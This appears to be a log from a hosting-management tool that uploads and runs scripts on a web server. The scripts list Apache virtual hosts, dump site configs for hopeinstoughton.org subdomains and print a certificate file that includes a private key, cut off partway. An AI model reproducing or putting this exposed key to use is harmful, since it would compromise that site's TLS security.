MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:06:17: Establishing a connection
2026-01-03 19:06:19:
PUT: /tmp/pkp307315
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 19:06:20:
chmod 755 /tmp/pkp307315; /tmp/pkp307315; rm /tmp/pkp307315
2026-01-03 19:06:20:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2026-01-03 19:06:20:
PUT: /tmp/pkp180156
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')
show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:06:20:
chmod 755 /tmp/pkp180156; /tmp/pkp180156; rm /tmp/pkp180156
2026-01-03 19:06:20:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf 1490
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf 1490
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
2026-01-03 19:06:20:
PUT: /tmp/pkp878737
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:06:21:
chmod 755 /tmp/pkp878737; /tmp/pkp878737; rm /tmp/pkp878737
2026-01-03 19:06:21:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4 5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
